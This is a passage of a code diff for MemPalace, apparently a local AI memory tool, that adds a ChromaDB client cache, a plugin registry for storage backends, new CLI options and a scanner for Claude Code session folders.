+        * DB file missing while we hold a cached client → drop the cache so we
+          do not serve stale data after a rebuild that has not yet re-created
+          the DB.
+        * Transition 0 → nonzero stat (DB created after cache) counts as a
+          change, so the cached client is replaced with one that sees the DB.
+        * FAT/exFAT filesystems return inode 0; we never fire inode comparisons
+          when either side is 0 (safe fallback) but still honor mtime.
+        * Mtime change uses an epsilon (0.01 s) to tolerate FS timestamp
+          granularity without thrashing.
+        """
+        if self._closed:
+            from .base import BackendClosedError  # late import avoids cycles at module load
+
+            raise BackendClosedError("ChromaBackend has been closed")
+
+        cached = self._clients.get(palace_path)
+        cached_inode, cached_mtime = self._freshness.get(palace_path, (0, 0.0))
+        current_inode, current_mtime = self._db_stat(palace_path)
+
+        db_path = os.path.join(palace_path, "chroma.sqlite3")
+        # DB was present when cache was built but is now missing → invalidate.
+        if cached is not None and not os.path.isfile(db_path):
+            self._clients.pop(palace_path, None)
+            self._freshness.pop(palace_path, None)
+            cached = None
+            cached_inode, cached_mtime = 0, 0.0
+
+        inode_changed = current_inode != 0 and cached_inode != 0 and current_inode != cached_inode
+        # Transition from no-stat (0.0) to a real stat counts as a change so we
+        # pick up a DB that was created after the cache was built.
+        mtime_appeared = cached_mtime == 0.0 and current_mtime != 0.0
+        mtime_changed = (
+            current_mtime != 0.0
+            and cached_mtime != 0.0
+            and abs(current_mtime - cached_mtime) > 0.01
+        )
+
+        if cached is None or inode_changed or mtime_changed or mtime_appeared:
             _fix_blob_seq_ids(palace_path)
-            self._clients[palace_path] = chromadb.PersistentClient(path=palace_path)
-        return self._clients[palace_path]
+            cached = chromadb.PersistentClient(path=palace_path)
+            self._clients[palace_path] = cached
+            # Re-stat after the client constructor runs: chromadb creates
+            # chroma.sqlite3 lazily, so the stat captured before the call
+            # may still be (0, 0.0) on first open.
+            self._freshness[palace_path] = self._db_stat(palace_path)
+        return cached
 
     # ------------------------------------------------------------------
-    # Public static helpers (for callers that manage their own caching)
+    # Public static helpers (legacy; prefer :meth:`get_collection`)
     # ------------------------------------------------------------------
 
     @staticmethod
     def make_client(palace_path: str):
-        """Create and return a fresh PersistentClient (fix BLOB seq_ids first).
+        """Create a fresh ``PersistentClient`` (fixes BLOB seq_ids first).
 
-        Intended for long-lived callers (e.g. mcp_server) that keep their own
-        inode/mtime-based client cache.
+        Deprecated-ish: exposed for legacy long-lived callers that manage their
+        own client cache. New code should obtain a collection through
+        :meth:`get_collection` which manages caching internally.
         """
         _fix_blob_seq_ids(palace_path)
         return chromadb.PersistentClient(path=palace_path)
@@ -109,12 +494,31 @@ class ChromaBackend:
         return chromadb.__version__
 
     # ------------------------------------------------------------------
-    # Collection lifecycle
+    # BaseBackend surface
     # ------------------------------------------------------------------
 
-    def get_collection(self, palace_path: str, collection_name: str, create: bool = False):
+    def get_collection(
+        self,
+        *args,
+        **kwargs,
+    ) -> ChromaCollection:
+        """Obtain a collection for a palace.
+
+        Supports two calling conventions during the RFC 001 transition:
+
+        * New (preferred): ``get_collection(palace=PalaceRef, collection_name=...,
+          create=False, options=None)``.
+        * Legacy: ``get_collection(palace_path, collection_name, create=False)``
+          — still used by callers not yet migrated.
+        """
+        palace_ref, collection_name, create, options = _normalize_get_collection_args(args, kwargs)
+
+        palace_path = palace_ref.local_path
+        if palace_path is None:
+            raise PalaceNotFoundError("ChromaBackend requires PalaceRef.local_path")
+
         if not create and not os.path.isdir(palace_path):
-            raise FileNotFoundError(palace_path)
+            raise PalaceNotFoundError(palace_path)
 
         if create:
             os.makedirs(palace_path, exist_ok=True)
@@ -124,29 +528,115 @@ class ChromaBackend:
                 pass
 
         client = self._client(palace_path)
+        hnsw_space = "cosine"
+        if options and isinstance(options, dict):
+            hnsw_space = options.get("hnsw_space", hnsw_space)
+
         if create:
             collection = client.get_or_create_collection(
-                collection_name, metadata={"hnsw:space": "cosine"}
+                collection_name, metadata={"hnsw:space": hnsw_space}
             )
         else:
             collection = client.get_collection(collection_name)
         return ChromaCollection(collection)
 
-    def get_or_create_collection(
-        self, palace_path: str, collection_name: str
-    ) -> "ChromaCollection":
-        """Shorthand for get_collection(..., create=True)."""
+    def close_palace(self, palace) -> None:
+        """Drop cached handles for ``palace``. Accepts ``PalaceRef`` or legacy path str."""
+        path = palace.local_path if isinstance(palace, PalaceRef) else palace
+        if path is None:
+            return
+        self._clients.pop(path, None)
+        self._freshness.pop(path, None)
+
+    def close(self) -> None:
+        self._clients.clear()
+        self._freshness.clear()
+        self._closed = True
+
+    def health(self, palace: Optional[PalaceRef] = None) -> HealthStatus:
+        if self._closed:
+            return HealthStatus.unhealthy("backend closed")
+        return HealthStatus.healthy()
+
+    @classmethod
+    def detect(cls, path: str) -> bool:
+        return os.path.isfile(os.path.join(path, "chroma.sqlite3"))
+
+    # ------------------------------------------------------------------
+    # Legacy (pre-RFC 001) surface — retained while callers migrate.
+    # ------------------------------------------------------------------
+
+    def get_or_create_collection(self, palace_path: str, collection_name: str) -> ChromaCollection:
+        """Legacy shim for ``get_collection(..., create=True)`` by path string."""
         return self.get_collection(palace_path, collection_name, create=True)
 
     def delete_collection(self, palace_path: str, collection_name: str) -> None:
-        """Delete *collection_name* from the palace at *palace_path*."""
+        """Delete ``collection_name`` from the palace at ``palace_path``."""
         self._client(palace_path).delete_collection(collection_name)
 
     def create_collection(
         self, palace_path: str, collection_name: str, hnsw_space: str = "cosine"
-    ) -> "ChromaCollection":
-        """Create (not get-or-create) *collection_name* with cosine HNSW space."""
+    ) -> ChromaCollection:
+        """Create (not get-or-create) ``collection_name`` with the given HNSW space."""
         collection = self._client(palace_path).create_collection(
             collection_name, metadata={"hnsw:space": hnsw_space}
         )
         return ChromaCollection(collection)
+
+
+def _normalize_get_collection_args(args, kwargs):
+    """Unify legacy positional ``(palace_path, collection_name, create)`` calls
+    with the new kwargs-only ``(palace=PalaceRef, collection_name=..., create=...)``.
+
+    Returns ``(PalaceRef, collection_name, create, options)``.
+    """
+    # New-style: palace= kwarg with a PalaceRef (spec path).
+    if "palace" in kwargs:
+        palace_ref = kwargs.pop("palace")
+        if not isinstance(palace_ref, PalaceRef):
+            raise TypeError("palace= must be a PalaceRef instance")
+        collection_name = kwargs.pop("collection_name")
+        create = kwargs.pop("create", False)
+        options = kwargs.pop("options", None)
+        if kwargs:
+            raise TypeError(f"unexpected kwargs: {sorted(kwargs)}")
+        if args:
+            raise TypeError("positional args not allowed with palace= kwarg")
+        return palace_ref, collection_name, create, options
+
+    # Legacy: first positional is a path string.
+    if args:
+        palace_path = args[0]
+        rest = list(args[1:])
+        collection_name = kwargs.pop("collection_name", None) or (rest.pop(0) if rest else None)
+        if collection_name is None:
+            raise TypeError("collection_name is required")
+        create = kwargs.pop("create", False)
+        if rest:
+            create = rest.pop(0)
+        if rest:
+            raise TypeError(f"unexpected positional args: {rest!r}")
+        if kwargs:
+            raise TypeError(f"unexpected kwargs: {sorted(kwargs)}")
+        return (
+            PalaceRef(id=palace_path, local_path=palace_path),
+            collection_name,
+            bool(create),
+            None,
+        )
+
+    # Legacy kwargs-only (palace_path=..., collection_name=..., create=...)
+    if "palace_path" in kwargs:
+        palace_path = kwargs.pop("palace_path")
+        collection_name = kwargs.pop("collection_name")
+        create = kwargs.pop("create", False)
+        if kwargs:
+            raise TypeError(f"unexpected kwargs: {sorted(kwargs)}")
+        return (
+            PalaceRef(id=palace_path, local_path=palace_path),
+            collection_name,
+            bool(create),
+            None,
+        )
+
+    raise TypeError("get_collection requires palace= or a positional palace_path")

mempalace/backends/registry.py

@@ -0,0 +1,189 @@
+"""Backend registry + entry-point discovery (RFC 001 §3).
+
+Third-party backends ship as installable packages that declare a
+``mempalace.backends`` entry point::
+
+    # pyproject.toml of mempalace-postgres
+    [project.entry-points."mempalace.backends"]
+    postgres = "mempalace_postgres:PostgresBackend"
+
+MemPalace discovers them at process start. In-tree tests and local development
+can register manually via :func:`register`. Explicit registration wins on
+name conflict (matches RFC 001 §3.2).
+"""
+
+from __future__ import annotations
+
+import logging
+from importlib import metadata
+from threading import Lock
+from typing import Optional, Type
+
+from .base import BaseBackend
+
+logger = logging.getLogger(__name__)
+
+_ENTRY_POINT_GROUP = "mempalace.backends"
+
+_registry: dict[str, Type[BaseBackend]] = {}
+_instances: dict[str, BaseBackend] = {}
+_explicit: set[str] = set()
+_discovered = False
+_lock = Lock()
+
+
+def register(name: str, backend_cls: Type[BaseBackend]) -> None:
+    """Register ``backend_cls`` under ``name``.
+
+    Explicit registration wins over entry-point discovery on conflict
+    (RFC 001 §3.2).
+    """
+    with _lock:
+        _registry[name] = backend_cls
+        _explicit.add(name)
+        # Invalidate any cached instance so the new class is used on next get.
+        _instances.pop(name, None)
+
+
+def unregister(name: str) -> None:
+    """Remove a backend registration (primarily for tests)."""
+    with _lock:
+        _registry.pop(name, None)
+        _explicit.discard(name)
+        _instances.pop(name, None)
+
+
+def _discover_entry_points() -> None:
+    """Load entry-point-declared backends once per process."""
+    global _discovered
+    if _discovered:
+        return
+    with _lock:
+        if _discovered:
+            return
+        try:
+            eps = metadata.entry_points()
+            # Py ≥ 3.10 returns an EntryPoints object; older versions returned a dict.
+            group = (
+                eps.select(group=_ENTRY_POINT_GROUP)
+                if hasattr(eps, "select")
+                else eps.get(_ENTRY_POINT_GROUP, [])
+            )
+        except Exception:
+            logger.exception("entry-point discovery for %s failed", _ENTRY_POINT_GROUP)
+            group = []
+        for ep in group:
+            if ep.name in _explicit:
+                continue  # explicit registration wins
+            try:
+                cls = ep.load()
+            except Exception:
+                logger.exception("failed to load backend entry point %r", ep.name)
+                continue
+            if not isinstance(cls, type) or not issubclass(cls, BaseBackend):
+                logger.warning(
+                    "entry point %r did not resolve to a BaseBackend subclass (got %r)",
+                    ep.name,
+                    cls,
+                )
+                continue
+            _registry.setdefault(ep.name, cls)
+        _discovered = True
+
+
+def available_backends() -> list[str]:
+    """Return sorted list of all registered backend names."""
+    _discover_entry_points()
+    return sorted(_registry.keys())
+
+
+def get_backend_class(name: str) -> Type[BaseBackend]:
+    """Return the registered backend class for ``name``."""
+    _discover_entry_points()
+    try:
+        return _registry[name]
+    except KeyError as e:
+        raise KeyError(f"unknown backend {name!r}; available: {available_backends()}") from e
+
+
+def get_backend(name: str) -> BaseBackend:
+    """Return a long-lived instance of the named backend.
+
+    Instances are cached per-name; repeated calls return the same object.
+    Call :func:`reset_backends` in tests that need isolation.
+    """
+    _discover_entry_points()
+    with _lock:
+        inst = _instances.get(name)
+        if inst is not None:
+            return inst
+        cls = _registry.get(name)
+        if cls is None:
+            raise KeyError(f"unknown backend {name!r}; available: {sorted(_registry.keys())}")
+        inst = cls()
+        _instances[name] = inst
+        return inst
+
+
+def reset_backends() -> None:
+    """Close and drop all cached backend instances (primarily for tests)."""
+    with _lock:
+        for inst in _instances.values():
+            try:
+                inst.close()
+            except Exception:
+                logger.exception("error closing backend during reset")
+        _instances.clear()
+
+
+def resolve_backend_for_palace(
+    *,
+    explicit: Optional[str] = None,
+    config_value: Optional[str] = None,
+    env_value: Optional[str] = None,
+    palace_path: Optional[str] = None,
+    default: str = "chroma",
+) -> str:
+    """Resolve the backend name for a palace per RFC 001 §3.3 priority order.
+
+    1. Explicit kwarg / CLI flag
+    2. Per-palace config value
+    3. ``MEMPALACE_BACKEND`` env var
+    4. Auto-detect from on-disk artifacts (migration/upgrade path only)
+    5. Default (``chroma``)
+
+    Auto-detection is strictly a migration aid: it fires only when a local path
+    is presented, no earlier rule has chosen a backend, AND the path already
+    contains backend-identifiable artifacts. For new palaces, (5) wins.
+    """
+    for candidate in (explicit, config_value, env_value):
+        if candidate:
+            return candidate
+
+    _discover_entry_points()
+    if palace_path:
+        for name, cls in _registry.items():
+            try:
+                if cls.detect(palace_path):
+                    return name
+            except Exception:
+                logger.exception("detect() raised on backend %r", name)
+                continue
+    return default
+
+
+# ---------------------------------------------------------------------------
+# Built-in registration
+# ---------------------------------------------------------------------------
+
+
+def _register_builtins() -> None:
+    """Register chroma as the in-tree default."""
+    from .chroma import ChromaBackend
+
+    # Use setdefault semantics so a caller that pre-registered for tests wins.
+    if "chroma" not in _registry:
+        _registry["chroma"] = ChromaBackend
+
+
+_register_builtins()

mempalace/cli.py

@@ -4,7 +4,7 @@ MemPalace — Give your AI a memory. No API key required.
 
 Two ways to ingest:
   Projects:      mempalace mine ~/projects/my_app          (code, docs, notes)
-  Conversations: mempalace mine ~/chats/ --mode convos     (Claude, ChatGPT, Slack)
+  Conversations: mempalace mine <convo-dir> --mode convos     (Claude Code, Claude.ai, ChatGPT, Slack exports)
 
 Same palace. Same search. Different ingest strategies.
 
@@ -22,7 +22,7 @@ Commands:
 Examples:
     mempalace init ~/projects/my_app
     mempalace mine ~/projects/my_app
-    mempalace mine ~/chats/claude-sessions --mode convos
+    mempalace mine ~/.claude/projects/-Users-you-Projects-my_app --mode convos --wing my_app
     mempalace search "why did we switch to GraphQL"
     mempalace search "pricing discussion" --wing my_app --room costs
 """
@@ -34,6 +34,7 @@ import argparse
 from pathlib import Path
 
 from .config import MempalaceConfig
+from .version import __version__
 
 
 _MEMPALACE_PROJECT_FILES = ("mempalace.yaml", "entities.json")
@@ -70,7 +71,8 @@ def _ensure_mempalace_files_gitignored(project_dir) -> bool:
 def cmd_init(args):
     import json
     from pathlib import Path
-    from .entity_detector import scan_for_detection, detect_entities, confirm_entities
+    from .entity_detector import confirm_entities
+    from .project_scanner import discover_entities
     from .room_detector_local import detect_rooms_local
 
     cfg = MempalaceConfig()
@@ -84,25 +86,55 @@ def cmd_init(args):
         languages = cfg.entity_languages
     languages_tuple = tuple(languages)
 
-    # Pass 1: auto-detect people and projects from file content
+    # Optional phase-2 LLM provider (opt-in via --llm).
+    llm_provider = None
+    if getattr(args, "llm", False):
+        from .llm_client import LLMError, get_provider
+
+        try:
+            llm_provider = get_provider(
+                name=args.llm_provider,
+                model=args.llm_model,
+                endpoint=args.llm_endpoint,
+                api_key=args.llm_api_key,
+            )
+        except LLMError as e:
+            print(f"  ERROR: {e}", file=sys.stderr)
+            sys.exit(2)
+        ok, msg = llm_provider.check_available()
+        if not ok:
+            print(
+                f"  ERROR: LLM provider '{args.llm_provider}' unavailable: {msg}",
+                file=sys.stderr,
+            )
+            sys.exit(2)
+        print(f"  LLM refinement enabled: {args.llm_provider}/{args.llm_model}")
+
+    # Pass 1: discover entities — manifests + git authors first, prose detection
+    # as supplement for names mentioned only in docs/notes. Optional phase-2
+    # LLM refinement runs inside discover_entities when llm_provider is given.
     print(f"\n  Scanning for entities in: {args.dir}")
     if languages_tuple != ("en",):
         print(f"  Languages: {', '.join(languages_tuple)}")
-    files = scan_for_detection(args.dir)
-    if files:
-        print(f"  Reading {len(files)} files...")
-        detected = detect_entities(files, languages=languages_tuple)
-        total = len(detected["people"]) + len(detected["projects"]) + len(detected["uncertain"])
-        if total > 0:
-            confirmed = confirm_entities(detected, yes=getattr(args, "yes", False))
-            # Save confirmed entities to <project>/entities.json for the miner
-            if confirmed["people"] or confirmed["projects"]:
-                entities_path = Path(args.dir).expanduser().resolve() / "entities.json"
-                with open(entities_path, "w") as f:
-                    json.dump(confirmed, f, indent=2)
-                print(f"  Entities saved: {entities_path}")
-        else:
-            print("  No entities detected — proceeding with directory-based rooms.")
+    detected = discover_entities(args.dir, languages=languages_tuple, llm_provider=llm_provider)
+    total = len(detected["people"]) + len(detected["projects"]) + len(detected["uncertain"])
+    if total > 0:
+        confirmed = confirm_entities(detected, yes=getattr(args, "yes", False))
+        # Save confirmed entities to <project>/entities.json (per-project
+        # audit trail — user can inspect or hand-edit) AND merge into the
+        # global registry the miner reads at mine time.
+        if confirmed["people"] or confirmed["projects"]:
+            entities_path = Path(args.dir).expanduser().resolve() / "entities.json"
+            with open(entities_path, "w", encoding="utf-8") as f:
+                json.dump(confirmed, f, indent=2, ensure_ascii=False)
+            print(f"  Entities saved: {entities_path}")
+
+            from .miner import add_to_known_entities
+
+            registry_path = add_to_known_entities(confirmed)
+            print(f"  Registry updated: {registry_path}")
+    else:
+        print("  No entities detected — proceeding with directory-based rooms.")
 
     # Pass 2: detect rooms from folder structure
     detect_rooms_local(project_dir=args.dir, yes=getattr(args, "yes", False))
@@ -145,6 +177,48 @@ def cmd_mine(args):
         )
 
 
+def cmd_sweep(args):
+    """Sweep a transcript file or directory.
+
+    The sweeper deduplicates against its own prior writes via
+    deterministic drawer IDs + a timestamp cursor. It does NOT currently
+    coordinate with the file-level miners (miner.py / convo_miner.py) —
+    those produce char-chunked drawers without compatible message
+    metadata, so running both miners may store overlapping content under
+    different IDs.
+    """
+    from .sweeper import sweep, sweep_directory
+
+    palace_path = os.path.expanduser(args.palace) if args.palace else MempalaceConfig().palace_path
+    target = os.path.expanduser(args.target)
+
+    if os.path.isfile(target):
+        result = sweep(target, palace_path)
+        print(
+            f"  Swept {target}: +{result['drawers_added']} new, "
+            f"{result['drawers_already_present']} already present, "
+            f"{result['drawers_skipped']} skipped (< cursor)."
+        )
+    elif os.path.isdir(target):
+        result = sweep_directory(target, palace_path)
+        print(
+            f"  Swept {result['files_succeeded']}/{result['files_attempted']} "
+            f"files from {target}: +{result['drawers_added']} new, "
+            f"{result['drawers_already_present']} already present, "
+            f"{result['drawers_skipped']} skipped (< cursor)."
+        )
+        failures = result.get("failures") or []
+        if failures:
+            print(
+                f"  WARNING: {len(failures)} file(s) failed to sweep - see stderr / logs for details.",
+                file=sys.stderr,
+            )
+            sys.exit(2)
+    else:
+        print(f"  ERROR: Not a file or directory: {target}", file=sys.stderr)
+        sys.exit(1)
+
+
 def cmd_search(args):
     from .searcher import search, SearchError
 
@@ -324,7 +398,7 @@ def cmd_instructions(args):
 
 def cmd_mcp(args):
     """Show how to wire MemPalace into MCP-capable hosts."""
-    base_server_cmd = "python -m mempalace.mcp_server"
+    base_server_cmd = "mempalace-mcp"
 
     if args.palace:
         resolved_palace = str(Path(args.palace).expanduser())
@@ -470,10 +544,17 @@ def cmd_compress(args):
 
 
 def main():
+    version_label = f"MemPalace {__version__}"
     parser = argparse.ArgumentParser(
         description="MemPalace — Give your AI a memory. No API key required.",
         formatter_class=argparse.RawDescriptionHelpFormatter,
-        epilog=__doc__,
+        epilog=f"{version_label}\n\n{__doc__}",
+    )
+    parser.add_argument(
+        "--version",
+        action="version",
+        version=version_label,
+        help="Show version and exit",
     )
     parser.add_argument(
         "--palace",
@@ -501,6 +582,43 @@ def main():
             "When given, the value is also persisted to config.json."
         ),
     )
+    p_init.add_argument(
+        "--llm",
+        action="store_true",
+        help=(
+            "Enable LLM-assisted entity refinement (opt-in, local-first). "
+            "Runs after manifest/git/regex detection, asking the configured "
+            "provider to reclassify ambiguous candidates. "
+            "Ctrl-C during refinement returns partial results."
+        ),
+    )
+    p_init.add_argument(
+        "--llm-provider",
+        default="ollama",
+        choices=["ollama", "openai-compat", "anthropic"],
+        help="LLM provider (default: ollama). Use --llm to enable.",
+    )
+    p_init.add_argument(
+        "--llm-model",
+        default="gemma4:e4b",
+        help="Model name for the chosen provider (default: gemma4:e4b for Ollama).",
+    )
+    p_init.add_argument(
+        "--llm-endpoint",
+        default=None,
+        help=(
+            "Provider endpoint URL. Default for Ollama: http://localhost:11434. "
+            "Required for openai-compat."
+        ),
+    )
+    p_init.add_argument(
+        "--llm-api-key",
+        default=None,
+        help=(
+            "API key for the provider. For anthropic, defaults to $ANTHROPIC_API_KEY; "
+            "for openai-compat, defaults to $OPENAI_API_KEY."
+        ),
+    )
 
     # mine
     p_mine = sub.add_parser("mine", help="Mine files into the palace")
@@ -539,6 +657,17 @@ def main():
         help="Extraction strategy for convos mode: 'exchange' (default) or 'general' (5 memory types)",
     )
 
+    # sweep
+    p_sweep = sub.add_parser(
+        "sweep",
+        help="Tandem miner: catch anything the primary miner missed "
+        "(message-level, timestamp-coordinated, idempotent)",
+    )
+    p_sweep.add_argument(
+        "target",
+        help="A .jsonl transcript file, or a directory to scan recursively",
+    )
+
     # search
     p_search = sub.add_parser("search", help="Find anything, exact words")
     p_search.add_argument("query", help="What to search for")
@@ -671,6 +800,7 @@ def main():
         "mine": cmd_mine,
         "split": cmd_split,
         "search": cmd_search,
+        "sweep": cmd_sweep,
         "mcp": cmd_mcp,
         "compress": cmd_compress,
         "wake-up": cmd_wakeup,

mempalace/config.py

@@ -168,7 +168,10 @@ class MempalaceConfig:
         """Path to the memory palace data directory."""
         env_val = os.environ.get("MEMPALACE_PALACE_PATH") or os.environ.get("MEMPAL_PALACE_PATH")
         if env_val:
-            return env_val
+            # Normalize: expand ~ and collapse .. to match the CLI --palace
+            # code path (mcp_server.py:62) and prevent surprise redirection
+            # when the env var contains unresolved components.
+            return os.path.abspath(os.path.expanduser(env_val))
         return self._file_config.get("palace_path", DEFAULT_PALACE_PATH)
 
     @property

mempalace/convo_miner.py

@@ -55,7 +55,14 @@ CONVO_EXTENSIONS = {
 
 MIN_CHUNK_SIZE = 30
 CHUNK_SIZE = 800  # chars per drawer — align with miner.py
-MAX_FILE_SIZE = 10 * 1024 * 1024  # 10 MB — skip files larger than this
+MAX_FILE_SIZE = 500 * 1024 * 1024  # 500 MB — skip files larger than this.
+# Matches miner.py at 500 MB. Long Claude Code sessions, multi-year
+# ChatGPT exports, and lifetime Slack dumps routinely exceed 10 MB; the
+# cap at that level silently dropped them with `continue`. Per-drawer
+# size is bounded by CHUNK_SIZE, but larger source files still produce
+# more drawers and therefore more embedding/storage work — and content
+# is normalized and loaded fully into memory before chunking, so memory
+# use also scales with source size.
 
 
 def _register_file(collection, source_file: str, wing: str, agent: str):
@@ -471,7 +478,7 @@ def mine_convos(
             room_counts[r] += n
 
         total_drawers += drawers_added
-        print(f"  ✓ [{i:4}/{len(files)}] {filepath.name[:50]:50} +{drawers_added}")
+        print(f"  + [{i:4}/{len(files)}] {filepath.name[:50]:50} +{drawers_added}")
 
     print(f"\n{'=' * 55}")
     print("  Done.")

mempalace/convo_scanner.py

@@ -0,0 +1,160 @@
+"""
+convo_scanner.py — Parse Claude Code conversation directories into ProjectInfo.
+
+Claude Code stores sessions under ``~/.claude/projects/<slug>/<id>.jsonl``,
+where the ``<slug>`` is the original CWD with ``/`` replaced by ``-``. That
+encoding is lossy: we can't tell whether ``foo-bar`` in a slug is the
+literal project name ``foo-bar`` or two path segments ``foo/bar``.
+
+Fortunately, every message record in the JSONL carries a ``cwd`` field with
+the true path. This scanner reads one record per session to recover the
+accurate project name, falling back to slug-decoding only if the JSONL
+is malformed or empty.
+
+Output is the same ``ProjectInfo`` shape used by ``project_scanner``, so the
+``discover_entities`` orchestrator can mix-and-match sources.
+
+Public:
+    is_claude_projects_root(path) -> bool
+    scan_claude_projects(path) -> list[ProjectInfo]
+"""
+
+from __future__ import annotations
+
+import json
+from pathlib import Path
+from typing import Optional
+
+from mempalace.project_scanner import ProjectInfo
+
+
+MAX_HEADER_LINES = 20  # lines to read per session looking for `cwd`
+
+
+def is_claude_projects_root(path: Path) -> bool:
+    """Return True if path looks like `.claude/projects/`.
+
+    Heuristic: at least one child dir whose name starts with ``-`` and which
+    contains at least one ``.jsonl`` file.
+    """
+    if not path.is_dir():
+        return False
+    try:
+        children = list(path.iterdir())
+    except OSError:
+        return False
+    for child in children:
+        if not (child.is_dir() and child.name.startswith("-")):
+            continue
+        try:
+            if any(p.suffix == ".jsonl" for p in child.iterdir() if p.is_file()):
+                return True
+        except OSError:
+            continue
+    return False
+
+
+def _extract_cwd_from_session(session_file: Path) -> Optional[str]:
+    """Return the ``cwd`` from the first message record that carries one.
+
+    Returns None if the file can't be read, has no JSON, or no record has cwd.
+    """
+    try:
+        with open(session_file, encoding="utf-8", errors="replace") as f:
+            for i, line in enumerate(f):
+                if i >= MAX_HEADER_LINES:
+                    break
+                line = line.strip()
+                if not line:
+                    continue
+                try:
+                    obj = json.loads(line)
+                except json.JSONDecodeError:
+                    continue
+                cwd = obj.get("cwd")
+                if isinstance(cwd, str) and cwd:
+                    return cwd
+    except OSError:
+        return None
+    return None
+
+
+def _decode_slug_fallback(slug: str) -> str:
+    """Best-effort project name from slug when cwd is unavailable.
+
+    The slug is lossy (`/` and `-` both become `-`). Last non-empty segment
+    is the closest guess at the project name, preserving kebab-case is
+    impossible without cwd.
+    """
+    stripped = slug.lstrip("-")
+    parts = [p for p in stripped.split("-") if p]
+    return parts[-1] if parts else slug
+
+
+def _safe_mtime(path: Path) -> float:
+    """Return file mtime, defaulting old on permission or filesystem errors."""
+    try:
+        return path.stat().st_mtime
+    except OSError:
+        return 0.0
+
+
+def _resolve_project_name(project_dir: Path) -> str:
+    """Read one session's cwd to recover the original project name.
+
+    Falls back to slug-decoding if no session has a readable cwd.
+    """
+    sessions = sorted(
+        (p for p in project_dir.iterdir() if p.is_file() and p.suffix == ".jsonl"),
+        key=_safe_mtime,
+        reverse=True,  # newest first — most likely to be well-formed
+    )
+    for session in sessions:
+        cwd = _extract_cwd_from_session(session)
+        if cwd:
+            return Path(cwd).name or cwd
+    return _decode_slug_fallback(project_dir.name)
+
+
+def scan_claude_projects(path: str | Path) -> list[ProjectInfo]:
+    """Scan a ``.claude/projects/`` directory for Claude Code conversations.
+
+    One ProjectInfo per subdir. ``has_git`` is False (the directory isn't a
+    repo itself) but ``total_commits`` is repurposed here as session count so
+    the UX surfaces a density signal for ranking.
+    """
+    root = Path(path).expanduser().resolve()
+    if not is_claude_projects_root(root):
+        return []
+
+    projects: dict[str, ProjectInfo] = {}
+    for sub in sorted(root.iterdir()):
+        if not (sub.is_dir() and sub.name.startswith("-")):
+            continue
+        try:
+            sessions = [p for p in sub.iterdir() if p.is_file() and p.suffix == ".jsonl"]
+        except OSError:
+            continue
+        if not sessions:
+            continue
+
+        name = _resolve_project_name(sub)
+        session_count = len(sessions)
+
+        proj = ProjectInfo(
+            name=name,
+            repo_root=sub,
+            manifest=None,
+            has_git=False,
+            total_commits=session_count,
+            user_commits=session_count,
+            is_mine=True,  # Claude Code sessions are authored by the user
+        )
+        existing = projects.get(name)
+        if existing is None or session_count > existing.user_commits:
+            projects[name] = proj
+
+    return sorted(
+        projects.values(),
+        key=lambda p: (-p.user_commits, p.name),
+    )

mempalace/entity_detector.py

@@ -113,6 +113,23 @@ SKIP_DIRS = {
     ".next",
     "coverage",
     ".mempalace",
+    ".terraform",
+    "vendor",
+    "target",
+}
+
+# Files whose content is boilerplate prose — poisons entity detection.
+# Matched by stem (case-insensitive), with or without an extension.
+SKIP_FILENAMES = {
+    "license",
+    "licence",
+    "copying",
+    "copyright",
+    "notice",
+    "authors",
+    "patents",
+    "third_party_notices",
+    "third-party-notices",
 }
 
 
@@ -193,7 +210,7 @@ def _build_patterns(name: str, languages: tuple = ("en",)) -> dict:
         "person_verbs": _compile_each(sources["person_verb_patterns"]),
         "project_verbs": _compile_each(sources["project_verb_patterns"]),
         "direct": direct_compiled,
-        "versioned": re.compile(rf"\b{n}[-v]\w+", re.IGNORECASE),
+        "versioned": re.compile(rf"\b{n}[-_]v?\d+(?:\.\d+)*\b", re.IGNORECASE),
         "code_ref": re.compile(rf"\b{n}\.(py|js|ts|yaml|yml|json|sh)\b", re.IGNORECASE),
     }
 
@@ -227,12 +244,19 @@ def score_entity(name: str, text: str, lines: list, languages=("en",)) -> dict:
 
     # --- Person signals ---
 
-    # Dialogue markers (strong signal)
+    # Dialogue markers (strong signal).
+    # The bare `^NAME:\s` colon-prefix pattern matches metadata lines like
+    # `Created: 2026-04-21`, so we require >= 2 hits for it to count as dialogue
+    # (real speaker markers repeat; single-line metadata doesn't).
     for rx in patterns["dialogue"]:
         matches = len(rx.findall(text))
-        if matches > 0:
-            person_score += matches * 3
-            person_signals.append(f"dialogue marker ({matches}x)")
+        if matches == 0:
+            continue
+        is_bare_colon = rx.pattern.endswith(r":\s") and not rx.pattern.endswith(r"[:\s]")
+        if is_bare_colon and matches < 2:
+            continue
+        person_score += matches * 3
+        person_signals.append(f"dialogue marker ({matches}x)")
 
     # Person verbs
     for rx in patterns["person_verbs"]:
@@ -328,17 +352,28 @@ def classify_entity(name: str, frequency: int, scores: dict) -> dict:
             signal_categories.add("addressed")
 
     has_two_signal_types = len(signal_categories) >= 2
-    _ = signal_categories - {"pronoun"}  # reserved for future thresholds
+    # Single-category pronoun signal still classifies as person when the
+    # evidence is overwhelming — a diary's main character is referenced
+    # with pronouns, not dialogue markers. Require both: many pronoun hits
+    # AND a high pronoun-to-frequency ratio so common sentence-start words
+    # (Never, Before, etc.) with incidental pronoun proximity don't qualify.
+    pronoun_hits = 0
+    for s in scores["person_signals"]:
+        m = re.search(r"pronoun nearby \((\d+)x\)", s)
+        if m:
+            pronoun_hits = int(m.group(1))
+            break
+    strong_pronoun_signal = pronoun_hits >= 5 and frequency > 0 and pronoun_hits / frequency >= 0.2
 
-    if person_ratio >= 0.7 and has_two_signal_types and ps >= 5:
+    if person_ratio >= 0.7 and (has_two_signal_types and ps >= 5 or strong_pronoun_signal):
         entity_type = "person"
         confidence = min(0.99, 0.5 + person_ratio * 0.5)
         signals = scores["person_signals"] or [f"appears {frequency}x"]
-    elif person_ratio >= 0.7 and (not has_two_signal_types or ps < 5):
-        # Pronoun-only match — downgrade to uncertain
+    elif person_ratio >= 0.7:
+        # Weak single-category person signal — downgrade to uncertain
         entity_type = "uncertain"
         confidence = 0.4
-        signals = scores["person_signals"] + [f"appears {frequency}x — pronoun-only match"]
+        signals = scores["person_signals"] + [f"appears {frequency}x — weak person signal"]
     elif person_ratio <= 0.3:
         entity_type = "project"
         confidence = min(0.99, 0.5 + (1 - person_ratio) * 0.5)
@@ -560,6 +595,8 @@ def scan_for_detection(project_dir: str, max_files: int = 10) -> list:
         dirs[:] = [d for d in dirs if d not in SKIP_DIRS]
         for filename in filenames:
             filepath = Path(root) / filename
+            if filepath.stem.lower() in SKIP_FILENAMES:
+                continue
